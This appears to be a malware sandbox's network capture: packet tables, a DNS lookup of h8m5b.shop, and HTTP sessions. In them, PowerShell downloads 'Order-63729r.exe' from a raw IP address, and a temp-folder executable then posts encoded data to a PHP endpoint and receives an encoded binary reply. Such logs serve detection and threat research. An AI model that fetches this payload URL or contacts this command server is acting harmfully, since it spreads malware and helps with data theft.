Oct 3, 2024 05:02:59.618485928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618783951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618818045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618835926 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618850946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618865013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618880987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618905067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618913889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618931055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618947983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618963957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.618982077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.618995905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.619015932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.619036913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.619045019 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.619067907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.619077921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.619090080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.619127989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.619617939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.619652987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.619676113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.619685888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.619692087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.619719982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.619735956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.619752884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.619769096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.619786978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.619805098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.619838953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620480061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620513916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620533943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620548010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620558977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620599031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620600939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620634079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620651007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620678902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620702028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620737076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620748997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620770931 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620791912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620804071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620824099 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620836973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620848894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620870113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620883942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620904922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620918989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620938063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620950937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.620971918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.620982885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.621026993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.704967976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705136061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705171108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705204964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705229044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705229044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705229044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705239058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705262899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705274105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705303907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705306053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705322981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705339909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705373049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705404997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705439091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705471992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705482960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705482960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705482960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705482960 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705503941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705519915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705519915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705538034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705558062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705569983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705585003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705602884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.705621004 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.705655098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706192017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706224918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706248045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706259012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706274986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706293106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706309080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706327915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706346989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706362009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706377029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706394911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706417084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706433058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706443071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706444979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706478119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706497908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706511974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706531048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706543922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706568956 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706578016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706592083 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706609964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706628084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706643105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706676006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706707954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706739902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706748962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706748962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706748962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706763029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706775904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.706792116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.706854105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707377911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.707443953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707602024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.707658052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707672119 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.707710028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.707720041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.707724094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707753897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707772970 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.707776070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707806110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.707824945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707839012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.707854986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707871914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.707892895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707921028 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707923889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.707977057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.707995892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708030939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708051920 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708077908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708081007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708112001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708127975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708147049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708163977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708197117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708200932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708239079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708250999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708250999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708281040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708283901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708302975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708334923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708338022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708370924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708389997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708404064 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708431005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708436966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708461046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708471060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708482981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708503008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708524942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708535910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708553076 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708568096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708586931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708600998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708616972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708635092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708650112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708672047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.708686113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.708724976 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.709703922 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.714512110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.576360941 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.581697941 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.581813097 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.581937075 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.582010984 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.587625980 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.587671041 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.587702036 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.587712049 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.587712049 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.587733030 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.587750912 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.587764025 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.587778091 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.587793112 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.587821960 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.587851048 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.587852001 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.587879896 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.587896109 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.587934971 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.592515945 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.593095064 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.593125105 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.593153954 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.593197107 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.593197107 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.593210936 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.593240976 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.593250990 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.593267918 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.593302965 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.593337059 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.636357069 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:00.636873007 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:00.684238911 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:04.741774082 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:04.742305040 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:04.742305040 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:04.742568016 CEST	80	49706	172.67.159.45	192.168.2.5
Oct 3, 2024 05:03:04.742782116 CEST	49706	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:03:04.748240948 CEST	80	49706	172.67.159.45	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 05:02:54.163449049 CEST	50590	53	192.168.2.5	1.1.1.1
Oct 3, 2024 05:02:54.175534964 CEST	53	50590	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 05:02:54.163449049 CEST	192.168.2.5	1.1.1.1	0x7138	Standard query (0)	h8m5b.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 05:02:54.175534964 CEST	1.1.1.1	192.168.2.5	0x7138	No error (0)	h8m5b.shop		172.67.159.45	A (IP address)	IN (0x0001)	false
Oct 3, 2024 05:02:54.175534964 CEST	1.1.1.1	192.168.2.5	0x7138	No error (0)	h8m5b.shop		104.21.14.133	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

217.160.121.141:8030

h8m5b.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	217.160.121.141	8030	1436	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 05:02:52.893882990 CEST	192	OUT	GET /5643254657/Order-63729r.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 217.160.121.141:8030 Connection: Keep-Alive
Oct 3, 2024 05:02:53.519032955 CEST	335	IN	HTTP/1.1 200 OK Server: gunicorn Date: Thu, 03 Oct 2024 03:02:53 GMT Connection: keep-alive Content-Disposition: inline; filename=Order-63729r.exe Content-Type: application/octet-stream Content-Length: 114688 Last-Modified: Mon, 30 Sep 2024 10:55:57 GMT Cache-Control: no-cache ETag: "1727693757.3319743-114688-2791706574"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.159.45	80	6980	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 05:02:54.186484098 CEST	270	OUT	POST /ML341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: h8m5b.shop Content-Length: 107 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 ec 26 66 9a 26 66 9f 26 66 9e 40 70 9d 3b 70 9d 35 70 9d 34 70 9c 47 70 9d 3a 14 8b 30 60 ef 26 66 9a 41 70 9d 30 11 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE1&f&f&f@p;p5p4pGp:0`&fAp0
Oct 3, 2024 05:02:55.776928902 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 03:02:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: Accept-Encoding,User-Agent CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FHFQtMD3J%2BDGinrtu5DIRsO4%2BWx8NzOZMrJuidyJ4md%2FiNcwymrqxnm41urspKIKL8w%2F8JqxL238vT9mBbOmAbG9dJkMCqP2UQ5sJDpLUghP%2Bj4HLEFZVSno9vo5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc9b22f88b60f6b-EWR Data Raw: 34 34 37 32 0d 0a 3f 36 90 48 2c dd 71 1e d7 33 21 e2 50 65 da 48 22 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c9 68 2f e3 42 3e dc 40 06 9e 49 11 ff 73 12 ed 57 1c e4 49 03 f8 57 07 f8 49 04 fb 68 6c e9 50 00 d6 45 1f f8 7b 10 cc 31 1b 9f 61 02 f8 76 31 e6 4d 36 ed 50 3a db 67 1d c6 33 19 ed 6c 20 f4 44 6c c4 48 3c d9 72 19 c0 6b 26 cd 7a 3a e4 4d 11 ef 49 1e d9 68 21 ed 52 65 e5 50 04 c5 37 19 c4 52 67 e2 69 10 d7 4e 2c 9a 79 18 d4 73 03 fb 74 65 e5 3f 7a cd 3d 69 c0 3d fc bb 5a 79 0b 15 48 d8 a2 5e b3 61 f2 b9 56 79 05 09 0b dc a4 5c fb 2f f1 fa 1e 65 4b 56 4b cb a7 5c a4 4f c7 5b 33 57 66 66 65 ab cb 30 9e fd 62 cb 33 ec 66 66 65 af cb 30 9e 42 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e ba 9d cb 33 5a 79 dc 6b af 7f 39 53 23 25 ca 7f 99 47 32 0d c6 b8 10 ee 70 f2 ac 41 35 0b 46 06 ce a5 5e [TRUNCATED] Data Ascii: 4472?6H,q3!PeH"Hh-PVePIh9Q`U/0`I6eKH<h7N$@:fyh/B>@IsWIWIhlPE{1av1M6P:g3l DlH<rk&z:MIh!ReP7RgiN,yste?z=i=ZyH^aVy\/eKVK\O[3Wffe0b3ffe0B3Tffe03Tffe03Tffe03Zyk9S#%G2pA5F^vVt^F9=&3Tffet;_j0UjCQ1UjS#fe2'Tffe0_gho03Tffe03TFfe03Tdfe03^ffe03Tdfe06Tfbe03Tvfe03Twfe03Tffe03Tffe03l[fe03Tvfe03Tffe03Tffe03Tffe
Oct 3, 2024 05:02:55.776982069 CEST	1236	IN	Data Raw: cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 2c e9 ae 4b 20 66 66 65 84 cf 30 9e 02 8d cb 33 54 60 66 65 af c9 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 22 9d cb 53 7a 14 15 Data Ascii: 03Tffe03Tffe03Tffe0,K ffe03T`fe03Tffe0"Sz03TFfe03Tffe03ff%0'Tffe093vfe03D030ffe?03Tffe.q23Dffe03TffetOShr%>UffeYoD=KU
Oct 3, 2024 05:02:55.777018070 CEST	448	IN	Data Raw: cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 Data Ascii: 03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe0
Oct 3, 2024 05:02:55.777051926 CEST	1236	IN	Data Raw: 9d cb 33 54 66 66 65 af cb 31 9e 03 9d cb 33 64 66 66 e5 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 31 9e 0b 99 cb 33 1c 66 66 65 cf eb 30 9e 8e 9e cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 2f c8 04 9e 02 9d 9d 33 07 66 39 65 f9 cb 75 Data Ascii: 3Tffe13dff03Tffe13ffe03Tffe03Tffe/3f9euP3f)eoK3f)e0$Tfge:`Tfle=3Tffe43Tffe03dfecv3=fevk31f/eVm3dfe63mfVer23fpesm3$feIL3
Oct 3, 2024 05:02:55.777086973 CEST	1236	IN	Data Raw: 8e de 7e 3d 05 14 0a dc a4 56 ea 22 de a4 41 24 09 14 04 db a2 5f f0 33 bc fb 2c 52 65 33 61 ac d8 28 d3 6b fe b9 5c 27 09 00 11 8f 9f 59 f3 67 b0 98 47 35 0b 16 45 ff 88 71 ae 1c 8a c6 02 62 56 5f 55 98 fa 07 ab 3a a8 fb 69 43 6b 57 5d 9f f2 00 Data Ascii: ~=V"A$_3,Re3a(k\'YgG5EqbV_U:iCkW]3aV<U.y20b`vc5W3bmgq]37Sua7]l-dz`f:P&m\&20bmv3Re3a.A[1F!Qf#QH/fWCU3/
